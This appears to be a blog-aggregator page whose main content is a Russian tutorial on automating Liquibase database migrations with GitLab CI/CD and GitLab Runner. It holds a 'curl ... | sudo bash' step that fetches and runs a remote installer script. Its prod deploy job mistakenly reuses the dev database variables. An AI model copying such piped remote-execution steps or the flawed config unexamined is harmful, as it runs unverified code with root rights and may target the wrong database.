Если Вы решали подобную задачу иначе, есть конкретные замечания/предложения, или просто хочется что-то спросить, то, по мере возможности, готов выслушать либо в комментариях, либо в личке, например, в телеграм @vainkop

P.S. имхо проект https://github.com/cloudskiff/driftctl мне лично кажется действительно полезным и решающим правильную задачу и хороших аналогов ему нет, так что прошу поддержать ребят, а по-возможности внести свою лепту ибо open source.

Всем хорошего настроения!

Подробнее..

Настройка CICD скриптов миграции БД с нуля с использованием GitLab и Liquibase

17.05.2021 14:19:21 | Автор: admin

Пролог

Добрый день, уважаемые читатели. Совсем недавно мне пришлось осваивать новую для себя область CI/CD, настраивая с нуля доставку скриптов миграции базы данных в одном из проектов. При этом было тяжело преодолеть самый первый этап "глаза боятся", когда задача вроде бы ясна, а с чего начать, не знаешь. Однако вопрос оказался на поверку значительно проще, чем казалось изначально, давая при этом неоспоримые преимущества ценой нескольких часов работы и не требуя никаких дополнительных средств, кроме обозначенных в заголовке.

Полученным опытом я решил поделиться в данной статье, чтобы помочь тем, кто хочет автоматизировать свои рабочие процессы, но не знает, с чего начать.

Оглавление

Введение

Об авторе

Меня зовут Копытов Дмитрий, я являюсь главным разработчиком и архитектором проектов. Специализируюсь на C#/.NET, Vue.js и Postgres.

К теме CI/CD пришел после получения "в наследство" проекта с уже существующим CI/CD, который пришлось перерабатывать.

О статье

В первую очередь статья предназначена для разработчиков, которые хотят внедрить в свои проекты CI/CD, но не знают, с чего начать, а также для тех, кому в наследство достались проекты с уже внедренным CI/CD, суть работы которого им не понятна.

Целью статьи является подробное описание технических аспектов настройки связки GitLab + Liquibase на конкретном примере, а также основы теории, чтобы у читателя отложилась не только сама инструкция, но и понимание процесса. Многие моменты и возможности GitLab CI/CD & Liquibase будут сознательно опущены во избежание перегрузки информацией.

Уже после написания большей части статьи, осознал насколько она оказалась большая, но разбить ее на несколько частей не вижу возможности без потери целостности. Приготовьтесь, будет многобукофф.

Перед самой публикацией во время выбора хабов обнаружил схожую статью по автоматизации деплоя Liquibase. Это досадная случайность без злого умысла, не более.

Кулинарный рецепт

Для приготовления блюда нужны следующие ингредиенты:

  • GitLab Community Edition хранилище Git

  • GitLab Runner рабочая лошадка CI/CD

  • Liquibase, на момент написания статьи версия 4.3.4

  • Драйвер Liquibase для целевой БД

  • Выделенный сервер с установленными Liquibase и GitLab Runner и доступом к целевой БД для наката скриптов и к GitLab для получения исходников. Необязательно.

  • 3 чашки чая или кофе. Обязательно.


Основы

Используемые технологии

Все технологии, используемые в статье, являются открытыми, вы можете использовать их совершенно бесплатно без необходимости закупки Premium-фич.

Примеры из статьи (скрипты и конфиги) опубликованы на гитхабе: https://github.com/Doomer3D/Gliquibase.

GitLab CI/CD

CI/CD у всех на слуху, поэтому не буду вдаваться в детали, отмечу только, что в контексте статьи будет рассмотрен процесс автоматического (при мерже/коммите) или ручного (по команде) наката скриптов миграции базы данных на целевую среду, будь то дев или прод. В качестве конвейера будут использоваться GitLab pipelines, а непосредственным исполнителем будет GitLab Runner, поэтому если вы не используете GitLab в качестве хранилища, статья вам будет по большому счета бесполезна.

Все примеры будут рассмотрены в контексте используемого в нашей компании GitLab Community Edition13.x.

Liquibase

Liquibase (ликви) платформа c открытым кодом, которая позволяет управлять миграциями вашей базы. Если кратко, то Liquibase позволяет описывать скрипты наката и отката базы в виде файлов чейнжсетов (changeset). Сами скрипты при этом могут быть как обычными SQL-командами, так и БД-независимыми описаниями изменений, которые будут преобразованы в скрипт конкретно для вашей базы. Список поддерживаемых БД можно найти здесь: https://www.liquibase.org/get-started/databases.

Liquibase написан на Java, поэтому может быть запущен на любой машине с JVM.

В статье будет рассмотрен Oracle 19 в качестве целевой базы, потому что именно для него настраивал деплой на рабочем проекте. Но, как писал выше, тип базы не имеет принципиального значения.

Схема работы

В данном разделе я сначала хотел нарисовать схему, но быстро понял, что давно не рисовал диаграммы процессов, поэтому постараюсь объяснить на пальцах.

Когда разработчик делает коммит или мерж реквест, запускается конвейер CI/CD, называемый пайплайном (pipeline), который включает в себя этапы (stage), состоящие из джобов (job).

В нашем примере будет один этап деплой (deploy), т.е. применение скриптов наката. При этом будет столько джобов, сколько стендов мы имеем. Предположим, что у нас всего два стенда дев и прод. Соответственно, будет два джоба деплой на дев (deploy-dev) и деплой на прод (deploy-prod), которые будут отличаться целевой БД. Кроме того, деплой на прод мы хотим запускать только вручную, по команде, а не в момент мержа или коммита.

Джобы обрабатываются раннером (GitLab Runner) специальной программой, которая скачивает себе исходники проекта и выполняет скрипты на сервере деплоя, при этом раннеру передаются различные параметры в виде переменных окружения. Это может быть пользовательская информация, хранимая в настройках проекта, такая как адрес и логин/пароль сервера БД, а также информация о самом процессе CI/CD, например, название ветки, автор, текст коммита и т.п.

Важно! Раннер сам обращается к GitLab по http, а не наоборот, поэтому машина с раннером должна иметь доступ к GitLab, в то время как разработчик и сервер GitLab могут ничего не знать о машине, где находится раннер.

Если оба стенда дев и прод, доступны с одной машины, достаточно будет одного раннера, однако обычно прод находится в другой сети, тогда в ней должен быть отдельный раннер с доступом к БД прода.

В нашем случае раннер будет вызывать Liquibase через командную строку. В параметрах к Liquibase будет передана информация о целевой базе и используемом драйвере, а сами скрипты наката Liquibase сформирует из описаний миграций из файлов вашего проекта.

В случае успеха, если скрипты отработали без ошибок, пайплайн считается успешным, а мерж реквест вливается в ветку. Картина будет примерно такой:

В противном случае пайплайн будет в состоянии failed:

Мы сможем провалиться в джоб и посмотреть логи, чтобы найти ошибку или перезапустить пайплайн, если проблема была в сетевом доступе. В моей практике была ситуация, что поднятый VPN на машине деплоя в какой-то момент стал блокировать доступ к GitLab по доменному имени, при этом пайплайн оказывался в состоянии pending, т.е. ожидал, что раннер подхватит джоб, но этого не происходило. Правка hosts и перезапуск пайплайна разрешили проблему.

Итак, подытожим, как выглядит схема работы:

  1. Разработчик делает мерж реквест или коммит в ветку.

  2. Запускается пайплайн, который исполняет ассоциированный с этой веткой джоб.

  3. Джоб инициирует раннер, находящийся на удаленной машине.

  4. Раннер скачивает исходники и выполняет скрипт, вызывающий Liquibase.

  5. Liquibase генерирует и исполняет скрипты наката/отката.

  6. ...

  7. Profit!

А теперь обо всем по порядку.


Liquibase

Этот раздел посвящен Liquibase. Здесь не будет полного изложения документации, потому что эта тема для отдельной статьи или даже для цикла статей, но я постараюсь осветить основы Liquibase.

Ссылка на официальную документацию по Liquibase: https://docs.liquibase.com/concepts/basic/home.html

Предполагается, что если вы, уважаемый читатель, вышли на эту статью, то имеете хотя бы начальное знакомство с Liquibase, именуемом в народе ликви, но если нет, я все же изложу вкратце, что это такое и с чем его едят.

Liquibase это платформа управления и наката миграций БД. В основе лежит понятие чейнжсета (changeset) атомарного изменения базы. Чейнжсетом, например, может быть создание таблицы в базе, добавление колонки/триггера, или наполнение таблицы данными. Чейнжсеты объединяются в чейнжлоги (changelog), которые выстраиваются в цепочку, которая применяется на целевой БД последовательно, таким образом обновляя базу до актуального состояния.

changelog

Начнем рассмотрение Liquibase с понятия чейнжлога. Чейнжлог это отдельный файл, содержащий в себе чейнжсеты или ссылки на другие чейнжлоги. Порядок включения чейнжлогов/чейнжсетов определяет порядок их наката. Как и чейнжсеты, чейнжлоги могут быть описаны в одном из четырех форматов: SQL, XML, JSON и YAML. В статье будут рассмотрены форматы SQL и XML как наиболее популярные и удобочитаемые.

Один из чейнжлогов является корневым, т.е. именно от него идет раскручивание всей цепочки. Назовем его мастером и дадим имя master.xml. Этот чейнжлог несет в себе функцию аккумуляции ссылок на другие чейнжлоги. Изначально у нас в проекте был один такой аккумулятор, в который последовательно дописывались ссылки на другие файлы, которые складировались в той же папке. Это приводило к двум проблемам:

  • Папка со временем разрослась до гигантских размеров, и ориентироваться в ней стало невозможно.

  • Когда с файлом стали работать два разработчика, изменение файла неизбежно приводило к конфликтам, которые приходилось решать.

Во избежание этих проблем рекомендую придерживаться другого подхода, связанного с разбиением задач по релизам/версиям/датам или каким-либо критериям, чтобы отдельные папки с изменениями были небольшими по размеру. В качестве примера приведу структуру тестового проекта для этой статьи.

Структура проектаСтруктура проекта

Файлы Liquibase хранятся в папке db/changelog, в корне лежит мастер-файл master.xml

В отдельных папках, соответствующих релизам 156 и 157, складируются чейнжлоги. В общем случае один таск = один чейнжлог. Также отдельно выделена папка common для служебных целей, там лежит скрипт пре-миграции, который выполняется при каждом накате скриптов. Аналогичным образом можно было бы добавить скрипт пост-миграции, если это нужно.

Разберем файл master.xml:

<?xml version="1.0" encoding="UTF-8"?><databaseChangeLog xmlns="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog"                   xmlns:pro="http://personeltest.ru/away/www.liquibase.org/xml/ns/pro"                   xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance"                   xsi:schemaLocation="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.2.xsd     http://www.liquibase.org/xml/ns/pro http://www.liquibase.org/xml/ns/pro/liquibase-pro-4.2.xsd ">  <preConditions>    <dbms type="oracle" />  </preConditions>  <!-- предварительные скрипты -->  <include file="/common/pre_migration.xml" />  <!-- релизы -->  <includeAll path="/v156" relativeToChangelogFile="true" />  <includeAll path="/v157" relativeToChangelogFile="true" /></databaseChangeLog>

XML-файл выглядит несколько перегруженным неймспейсами, пусть это вас сильно не волнует. Это стандартная обертка для любого XML-файла Liquibase.

Раздел preConditions определяет различные параметры запуска, конкретно здесь мы указываем, что используем oracle, но также можно указать имя пользователя, от которого будет происходить запуск скриптов. Более плотно preConditions используются в чейнжсетах.

Далее идет включение скриптов в нужной последовательности. Для этого существуют команды include (включение отдельного файла) и includeAll (включение папки).

Использование includeAll позволяет избежать проблем с конфликтами при правке файла-аккумулятора внутри релиза, но тогда нужно выработать стратегию именования файлов, т.к. их включение будет происходить в алфавитном порядке. В примере выше я использую дату + номер таска, но этого будет недостаточно в реальном проекте, если изменения по таску с меньшим номером нужно применить после таска с большим номером, и при этом они будут в один день.

Как альтернативу includeAll вы можете внутри папки релиза создать свой мастер-файл (аккумулятор скриптов релиза), в который включать ссылки на отдельные скрипты, что в целом менее удобно.

changeset

Чейнжсеты описываются внутри файлов чейнжлогов в виде отдельных блоков. Рассмотрим на примере файла 2021-05-01 TASK-001 CREATE TEST TABLE.xml:

<?xml version="1.0" encoding="UTF-8"?><databaseChangeLog xmlns="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog"                   xmlns:pro="http://personeltest.ru/away/www.liquibase.org/xml/ns/pro"                   xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance"                   xsi:schemaLocation="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.2.xsd     http://www.liquibase.org/xml/ns/pro http://www.liquibase.org/xml/ns/pro/liquibase-pro-4.2.xsd ">  <changeSet author="Doomer" id="20210501-01">    <preConditions onFail="MARK_RAN">      <not>        <tableExists tableName="TEST"/>      </not>    </preConditions>    <createTable tableName="TEST" remarks="Тестовый справочник">      <column name="ID" type="NUMBER(28,0)" remarks="Идентификатор">        <constraints nullable="false" primaryKey="true" primaryKeyName="TEST_PK" />      </column>      <column name="CODE" type="VARCHAR2(64)" remarks="Код">        <constraints nullable="false" />      </column>      <column name="NAME" type="VARCHAR2(256)" remarks="Наименование">        <constraints nullable="false" />      </column>    </createTable>    <rollback>      <dropTable tableName="TEST" />    </rollback>  </changeSet></databaseChangeLog>

В файле описан чейнжсет, который создает таблицу TEST с тремя колонками. При этом описание происходит в виртуальных сущностях, которые транслируются в скрипты для конкретной БД.

Элемент preConditions указывает, что чейнжсет нужно применять только в случае, если таблица не существует в базе.

Элемент rollback указывает, как нужно откатывать скрипт, если такой механизм планируется использовать. Откаты в нашей стране, конечно, популярны, но выходят за рамки данной статьи.

Рассмотрим основные атрибуты чейнжсетов.

Атрибут

Описание

id

Идентификатор, обязательный атрибут, использование см. ниже.

author

Автор, обязательный атрибут, использование см. ниже.

dbms

Фильтр баз данных, для которых применяется чейнжсет.

contexts

Контексты, для которых применяется чейнжсет. Например, мы можем указать, что чейнжсет применяется только на проде или везде, кроме прода.

Подробнее по ссылке.

runAlways

Булево. Указывает, что чейнжсет применяется при каждом запуске. Полезно для скриптов установки контекста окружения, см. ниже.

runOnChange

Булево. Указывает, что чейнжсет применяется при изменении содержимого. Полезно для скриптов создания recreatable-объектов, таких как процедуры, вьюхи, триггеры и т.п.

Подробную документацию по чейнжсетам можно почитать по ссылке.

DATABASECHANGELOG

Чейнжсеты, которые были применены к базе, сохраняются в специальную таблицу DATABASECHANGELOG, в паре с которой идет таблица DATABASECHANGELOGLOCK, обеспечивающая параллельную работу нескольких экземпляров Liquibase.

В таблице нет физических ключей, но у самих чейнжсетов есть уникальный ключ это комбинация идентификатора, автора и имени файла. Политика именования чейнжсетов у всех может быть своя, у нас исторически сложился формат <дата>-<номер><ФИ автора>, например 20210501-01KD. Отмечу, что это мой первый проект с использованием Liquibase, поэтому не буду давать советов, как лучше именовать чейнжсеты.

Также у каждого чейнжсета вычисляется MD5-сумма на основе его тела, поэтому нельзя просто так менять файл чейнжсета, если он уже был применен к базе. Это может иметь значение при разработке, особенно при освоении Liquibase. Поначалу вы будете часто ошибаться с тем, как правильно составить чейнжсет, в итоге в базе окажется сохраненный чейнжсет с MD-5 суммой и неверно выполненный скрипт. В этом случае нужно будет вручную откатить его изменения, а также удалить соответствующие записи из DATABASECHANGELOG.

runAlways

База данных предоставляет инструменты для настройки контекста окружения, что может быть полезно, например, в сценарии аудита таблиц, когда записи, измененные скриптами, выполненных через Liquibase, нужно как-то помечать. Мы это решаем через установку переменной сессии USER_ID.

Для этой цели в описании мастер-чейнжлога включается скрипт пре-миграции, который занимается настройкой окружения. Приведу его текст:

<?xml version="1.0" encoding="UTF-8"?><databaseChangeLog xmlns="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog"                   xmlns:pro="http://personeltest.ru/away/www.liquibase.org/xml/ns/pro"                   xmlns:xsi="http://personeltest.ru/away/www.w3.org/2001/XMLSchema-instance"                   xsi:schemaLocation="http://personeltest.ru/away/www.liquibase.org/xml/ns/dbchangelog http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.2.xsd     http://www.liquibase.org/xml/ns/pro http://www.liquibase.org/xml/ns/pro/liquibase-pro-4.2.xsd ">  <changeSet author="SYSTEM" id="PRE_MIGRATION" runAlways="true">    <sql splitStatements="true" stripComments="true">      -- устанавливаем в контекст сессии пользователя liquibase      CALL DBMS_SESSION.SET_CONTEXT('CLIENTCONTEXT','USER_ID', 13);    </sql>  </changeSet></databaseChangeLog>

Здесь в качестве тела используется SQL-скрипт, который записывает в переменную сессии USER_ID значение 13 наш внутренний идентификатор пользователя Liquibase. Этот скрипт будет влиять на все последующие скрипты, поэтому помечен флагом runAlways и включен перед скриптами релизов.

SQL-чейнжсет

Чейнжсеты можно оформлять и в формате SQL, что особенно полезно при написании сложных запросов. Рассмотрим файл 2021-05-01 TASK-002 TEST.sql, который выполняется сразу после создания таблицы TEST:

--liquibase formatted sql--changeset Doomer:20210501-02--preconditions onFail:MARK_RAN--precondition-sql-check expectedResult:1 SELECT COUNT(*) FROM ALL_TABLES WHERE TABLE_NAME = 'TEST' AND OWNER = 'STROY';--precondition-sql-check expectedResult:0 SELECT COUNT(*) FROM TEST WHERE ID = 1;insert into TEST (ID, CODE, NAME)values (1, 'TEST', 'Какое-то значение');--rollback not required--changeset Doomer:20210501-03--preconditions onFail:MARK_RAN--precondition-sql-check expectedResult:1 SELECT COUNT(*) FROM ALL_TABLES WHERE TABLE_NAME = 'TEST' AND OWNER = 'STROY';--precondition-sql-check expectedResult:1 SELECT COUNT(*) FROM TEST WHERE ID = 1;update TEST   set NAME = 'CONTEXT USER_ID=' || nvl(SYS_CONTEXT('CLIENTCONTEXT', 'USER_ID'), 'NULL') where ID = 1;--rollback not required

Это файл с двумя чейнжсетами в составе.

Первый добавляет новую запись в таблицу TEST, проверяя существование таблицы и отсутствие элемента с ID = 1. Если одно из условий не выполнится, чейнжсет не будет применен, но будет помечен в DATABASECHANGELOG как выполненный (MARK_RAN). Подробнее можно почитать в документации по preConditions.

Второй чейнжсет обновляет созданную запись значением из переменной сессии USER_ID.

После наката скриптов мы предсказуемо увидим следующую картину в таблице TEST:

К сожалению, формат статьи и ее и без того обширная тема не позволяет описать чейнжсеты Liquibase более подробно, но тут можно только сказать классическое RTFM.

Командная строка Liquibase

Liquibase является консольным приложением, поэтому нужно понимать, как его вызывать. Вообще, это тема больше относится к области GitLab Runner'а, но чтобы не смешивать обе темы, рассмотрим вызов Liquibase в этом разделе.

Документация по командам Liquibase: https://docs.liquibase.com/commands/community/home.html

Нас в первую очередь интересуют команды:

  • update применение изменений

  • updateSQL получение SQL-скриптов для анализа, полезно для обучения

Обе команды имеют схожий набор параметров, поэтому рассмотрим основные из них на нашем тестовом примере:

Параметр

Описание

Пример значения

changeLogFile

Путь к мастер-файлу чейнжлога, обязательный параметр

master.xml

url

Адрес БД, обязательный параметр

jdbc:oracle:thin:1.2.3.4:1521:orastb

username

Логин пользователя БД, обязательный параметр

vasya

password

Пароль пользователя БД, обязательный параметр

pupkin

defaultSchemaName

Имя схемы по умолчанию

DATA

contexts

Контекст БД для фильтров чейнжсетов по контексту

dev / prod

driver

Тип драйвера БД

oracle.jdbc.OracleDriver

classpath

Путь до драйвера

/usr/share/liquibase/4.3.4/drivers/ojdbc10.jar

outputFile

Путь до файла, куда выводить результат для команды updateSQL. Если не указано, вывод будет в консоль.

Для обучения можно создать батник, который будет запускать Liquibase c вашим скриптом до его добавления в гите. Разумеется, надо помнить о необходимости отката изменений (см. выше). Рядом помещаете папку с Liquibase и драйвером, об установке которых рассказывается в следующем разделе, а также файл скрипта.

Пример батника для Windows:

call "C:\Temp\liqui\liquibase-4.3.1\liquibase.bat" ^--defaultSchemaName=STROY ^--driver=oracle.jdbc.OracleDriver ^--classpath="C:\Temp\liqui\ojdbc5.jar" ^--url=jdbc:oracle:thin:@1.2.3.4:1521:dev ^--username=xxx ^--password=yyy ^--changeLogFile=.\master.xml ^--contexts="dev"--logLevel=info ^updateSQL

Настройка сервера деплоя

Выделенный сервер для деплоя, вообще говоря, не обязателен. Это может быть самая простая машина, которая имеет доступ к целевой базе данных, чтобы подключиться и накатить скрипты, и к серверу GitLab, откуда будут взяты исходники проекта. В целях безопасности эту машину можно изолировать от прочих ресурсов.

В нашей компании используются виртуальные машины на основе Centos 7, поэтому все примеры команд буду приводить именно для него. Также я исхожу из предположения, что вы знакомы с основами работы в консоли Linux.

Установка Java

Liquibase рекомендует использовать Java 11+, давайте установим его. Я использую OpenJRE 11:

sudo yum install java-11-openjdkjava --version

Установка Liquibase

Официальная документация: https://www.liquibase.org/get-started/quickstart

Liquibase не требует установки, потому что является программой на Java. Заходим на сайт и скачиваем архив с программой. Архив распаковываем в папку по вашему усмотрению, но для себя я решил использовать путь /usr/share/liquibase/<version>, например /usr/share/liquibase/4.3.4

Там же, в папке с установленным Liquibase, создаем папку drivers и копируем в нее нужный драйвер для вашей БД. В моем случае это был ojdbc10.jar

Проверяем, что Liquibase работает:

cd /usr/share/liquibase/4.3.4liquibase --version

Установка Git

Git является зависимостью GitLab Runner и ставится автоматически, но нужно отметить одну неприятную особенность, характерную для Centos 7 и, возможно, для других версий пингвинообразных. Если вы просто установите GitLab Runner на голую ось, он потянет за собой git в виде зависимости, который в стандартном репозитории имеет версию 1.8. Эта версия откровенно баганая, что в связке с GitLab приводит к тому, что в какой-то момент, причем не сразу, CI/CD перестает работать с выдачей совершенно непонятной ошибки.

Чтобы избежать неприятных сюрпризов, необходимо установить более свежую версию git до установки GitLab Runner:

# проверяем текущую версию гитаgit --version# удаляем гит, если он версии 1.8sudo yum remove git*# устанавливаем последнюю версию гита на момент написания статьи (2.30)sudo yum -y install https://packages.endpoint.com/rhel/7/os/x86_64/endpoint-repo-1.7-1.x86_64.rpmsudo yum install git

Установка GitLab Runner

Официальная документация: https://docs.gitlab.com/runner/install/linux-manually.html

# добавляем репуcurl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh" | sudo bash# устанавливаемexport GITLAB_RUNNER_DISABLE_SKEL=true; sudo -E yum install gitlab-runner

Настройка GitLab Runner

В этом разделе будет рассказано о том, как создать и настроить свой экземпляр GitLab Runner, который будет вызывать Liquibase.

Ссылка на официальную документацию по GitLab Runner: https://docs.gitlab.com/runner/configuration/

Для начала, нужно узнать, куда был установлен раннер, и дать ему права на исполнение:

# определяем место установкиwhich gitlab-runner # /usr/bin/gitlab-runner# выдаем права на исполнениеsudo chmod +x /usr/bin/gitlab-runner

Далее, нужно создать пользователя для сервиса раннера и установить демона. Вполне возможно, что эти шаги уже были выполнены при установке.

# создаем пользователяsudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash# запускаем демонаsudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner

Управлять сервисом раннера можно по аналогии с systemctl:

# статус сервисаsudo gitlab-runner status# запуск сервисаsudo gitlab-runner start# останов сервисаsudo gitlab-runner stop# получения списка зарегистрированных раннеровsudo gitlab-runner list

После завершения настройки сервиса GitLab Runner нужно создать экземпляр раннера для запуска Liquibase. Для этого воспользуемся командой register, но перед этим нам нужно получить токен для нашего проекта в GitLab.

Переходим в интерфейсе GitLab в раздел Settings CI/CD Runners. Здесь мы видим список доступных нам раннеров, которые либо привязаны к группе проектов, либо к конкретному проекту. У меня этот список выглядит примерно так (немного законспирировал имена):

Нас интересуют два пункта:

  1. Адрес вашего GitLab. Раннер будет обращаться к нему для получения исходников и команд на запуск джобов.

  2. Токен для регистрации раннера. По нему раннер будет связан с нашим проектом или группой, если происходит настройка раннера для группы в целом.

Также у каждого раннера вы можете видеть теги, выделенные синим цветом. Это своего рода метки, по которым определяется, будет ли использовать раннер для конкретного джоба, об этом подробнее будет рассказано ниже. Пока достаточно знать, что раннер будет запущен, если его теги содержат теги джоба.

Регистрация раннера

Для создания раннера нужно выполнить команду sudo gitlab-runner register

Вас попросят ввести следующие параметры:

  1. Enter the GitLab instance URL

    Вводим адрес вашего GitLab

  2. Enter the registration token

    Вводим токен

  3. Enter a description for the runner

    Вводим имя раннера, например, my-awesome-runner

  4. Enter tags for the runner

    Вводим теги раннера через запятую. Пример: liquibase,dev

    Выбор можно позже изменить через интерфейс GitLab CI/CD

  5. Enter an executor

    Выбираем механизм исполнения раннера. Подробнее по ссылке.

    Вводим shell

shell это простейший механизм исполнения команд оболочки целевой ОС. Мы будем использовать скрипты на bash.

После регистрации раннера можно проверить его наличие через команду sudo gitlab-runner list или через интерфейс GitLab CI/CD:

my-awesome-runnermy-awesome-runner

Настройка CI/CD

Информация о том, что делать в процессе CI/CD хранится в файлах проекта. Главным является файл .gitlab-ci.yml в корне. Остальные файлы, в нашем случае скрипты на bash, размещаются на усмотрение разработчика, например, в папке /ci.

Все тонкости конфигурации тянут на отдельную статью, да и опыта в данной области у меня маловато, но то, что использовано в тестовом проекте, будет разложено по полочкам.

Для начала отмечу, что есть встроенный линтер для файла .gitlab-ci.yml, доступный по относительному пути ci/lint в проекте, например: https://gitlab.example.com/gitlab-org/my-project/-/ci/lint. Рекомендую воспользоваться им перед пушем конфига. Также предполагается, что вы знакомы с форматом YAML.

Полный листинг конфига в тестовом проекте:

variables:    LIQUIBASE_VERSION: "4.3.4"stages:    - deploydeploy-dev:    stage: deploy    tags:        - liquibase        - dev    script:        - 'bash ./ci/deploy-db.sh $DEV_DB $DEV_DB_USER $DEV_DB_PASS'    environment:        name: dev    only:        - devdeploy-prod:    stage: deploy    tags:        - liquibase        - prod    script:        - 'bash ./ci/deploy-db.sh $DEV_DB $DEV_DB_USER $DEV_DB_PASS'    environment:        name: prod    when: manual    only:        - prod

Переменные

Документация: https://docs.gitlab.com/ee/ci/variables/README.html

variables:    LIQUIBASE_VERSION: "4.3.4"

В этом блоке описаны переменные окружения, которые в дальнейшем можно использовать в скриптах. Переменная LIQUIBASE_VERSION указывает на версию Liquibase, которая будет применяться для наката скриптов миграции. Если мы захотим сменить версию, просто установим новую версию Liquibase и поменяем значение этой переменной.

На самом деле, лучше описать эту переменную в настройках проекта, о чем мы поговорим далее, но это просто пример того, как можно использовать переменные в конфиге.

Переменные проекта можно настроить в разделе Settings CI/CD Variables.

Пример того, как выглядят переменные в интерфейсе:

CI/CD VariablesCI/CD Variables

Помимо переменных, описанных в непосредственно и конфиге и в настройках проекта, существует целый ряд предопределенных переменных, относящихся к процессу CI/CD, таких как имя коммита, ветки или имя пользователя, совершившего коммит. Они могут быть полезны для настройки обратной связи, например, для автоматических уведомлений по результатам деплоя.

Этапы (stages)

stages:    - deploy

В этом блоке перечисляются этапы деплоя, о которых рассказано в разделе описания схемы работы.

Джобы (jobs)

Рассмотрим на примере джоба деплоя на дев:

deploy-dev:    stage: deploy    tags:        - liquibase        - dev    script:        - 'bash ./ci/deploy-db.sh $DEV_DB $DEV_DB_USER $DEV_DB_PASS'    environment:        name: dev    only:        - dev

Строка stage: deploy указывает на этап, к которому относится данный джоб.

Теги перечислены массивом, т.е. это liquibase и dev. Наш ранее созданный раннер отреагирует на эти теги и запустит скрипты в разделе script. Важно отметить, что в джобе прода указан тег prod, поэтому раннер для него должен быть отдельный, исходя из соображений, что он, вероятно, находится в другой сети. А вообще, один и тот же раннер может обслуживать несколько проектов, если это требуется.

Блок environment указывает на окружение, которое можно настроить в отдельном разделе по пути Operations Environments. Это своего рода дашборд ваших стендов (дев, предпрод, прод и т.п.), где можно увидеть их статус и выполнить, например, ручной деплой. Также можно настроить переменные, привязанные к окружению, но это премиум-фича, которую мне попробовать не удалось.

Пример страницы окружений:

EnvironmentsEnvironments

Блок only указывает, для каких веток нужно применять данный джоб. Его братом является блок except, который указывает для каких веток джоб применять не нужно. Помимо веток можно настроить более сложные условия: https://docs.gitlab.com/ee/ci/jobs/job_control.html.

Для прода мы также указали when: manual. Это означает, что запуск деплоя для прода будет в ручном режиме при нажатии на кнопку в пайплайне, а не в момент коммита. Это позволит нам собрать чемодан до того, как что-то пойдет не так выполнить деплой в запланированное время.

Мерж в прод, ручной запускМерж в прод, ручной запуск

Скрипт наката

В блоке script мы указываем список скриптов, которые будут выполнены раннером. Так как у нас shell-исполнитель на линуксе, будем использовать bash. Все переменные автоматически передаются в скрипт в виде переменных окружения, но т.к. реквизиты базы отличаются для разных стендов, передаем их непосредственно при вызове скрипта.

Разберем непосредственно скрипт вызова Liquibase:

#!/bin/bashecho "Environment: $CI_ENVIRONMENT_NAME"cd db/changelog/usr/share/liquibase/$LIQUIBASE_VERSION/liquibase \    --classpath=/usr/share/liquibase/$LIQUIBASE_VERSION/drivers/ojdbc10.jar \    --driver=oracle.jdbc.OracleDriver \    --changeLogFile=master.xml \    --contexts="$CI_ENVIRONMENT_NAME" \    --defaultSchemaName=STROY \    --url=jdbc:oracle:thin:@$1 \    --username=$2 \    --password=$3 \    --logLevel=info \    update

Подробно параметры вызова Liquibase описаны в соответствующем разделе.

Переменные DEV_DB, DEV_DB_USER, DEV_DB_PASS приходят в скрипт в виде $1, $2 и $3 соответственно. Помимо них мы используем указанное в джобе имя окружения, которое приходит в предопределенной переменной $CI_ENVIRONMENT_NAME, что можно использовать, чтобы какие-то скрипты накатывались только на определенном стенде, а не на всех.

Если все настроено правильно, то после коммита конфига и скриптов в гит, заработает деплой.

Успешный лог пайплайна для Liquibase выглядит примерно так:

Отклонение мержей с ошибками

Если процесс деплоя пойдет с ошибками, можно не допустить соответствующий мерж. Особенно это полезно, если в CI/CD встроены тесты как отдельный этап. В нашем примере тестов нет, но Liquibase тоже может сломаться, если, например, указаны неверные пути до файлов.

Для запрета ошибочных мержей нужно установить галочку в разделе General Merge requests.

Важно! Галочку нужно устанавливать после настройки CI/CD, иначе перестанут проходить любые мержи.


Заключение

Статья оказалась большой, но это не должно вас пугать. На самом деле мне удалось с нуля и без каких-либо предварительных знаний разобраться и настроить проект с деплоем примерно за 5 часов времени в пятницу вечером. Очень надеюсь, что данная статья поможет вам освоить деплой быстрее, а кого-то направит на путь CI/CD.

Если какие-то моменты остались за кадром, и есть желание узнать о них подробнее, пишите в комментариях. Буду иметь в виду, но обещать ничего не стану, т.к. эта статья, например, отняла у меня более 20 часов времени в течение трех недель, что в два-три раза больше среднего времени на написание статьи.

Как обычно, если понравилась статья, посмотрите другие:

Подробнее..

Теперь YouTrack интегрируется с GitLab CICD

28.05.2021 14:21:34 | Автор: admin

Привет, Хабр!

На связи команда JetBrains YouTrack, и у нас для вас новый релиз! Мы дополнили интеграцию с GitLab теперь YouTrack не только отслеживает коммиты и merge-реквесты, но и поддерживает интеграцию с GitLab CI/CD. А это значит, что задачи в YouTrack смогут обновляться автоматически по результатам автоматизированных сборок в GitLab CI/CD. Также мы дополнили релиз интересными улучшениями для работы с задачами. За подробностями добро пожаловать под кат!

Об интеграции с GitLab CI/CD что это и зачем

Непрерывная интеграция и развертывание (CI/CD) были придуманы, чтобы упростить жизнь разработчикам. Благодаря CI/CD вы можете не беспокоиться о том, что ваш код навредит проекту или сломает его, а самое главное вам больше не нужно проверять это вручную.

Как это работает? CI/CD периодически забирает новый код из системы контроля версий (VCS), собирает проект, прогоняет автотесты и разворачивает собранную и протестированную версию, например на сервере, где тестировщики смогут провести остальные этапы тестирования. Если что-то упало, CI/CD сообщит об этом кому нужно, например техлиду проекта или разработчику, который сделал злосчастный коммит.

YouTrack уже давно позволяет интегрировать в процесс управления задачами TeamCity и Jenkins, а теперь к ним присоединился и GitLab CI/CD.

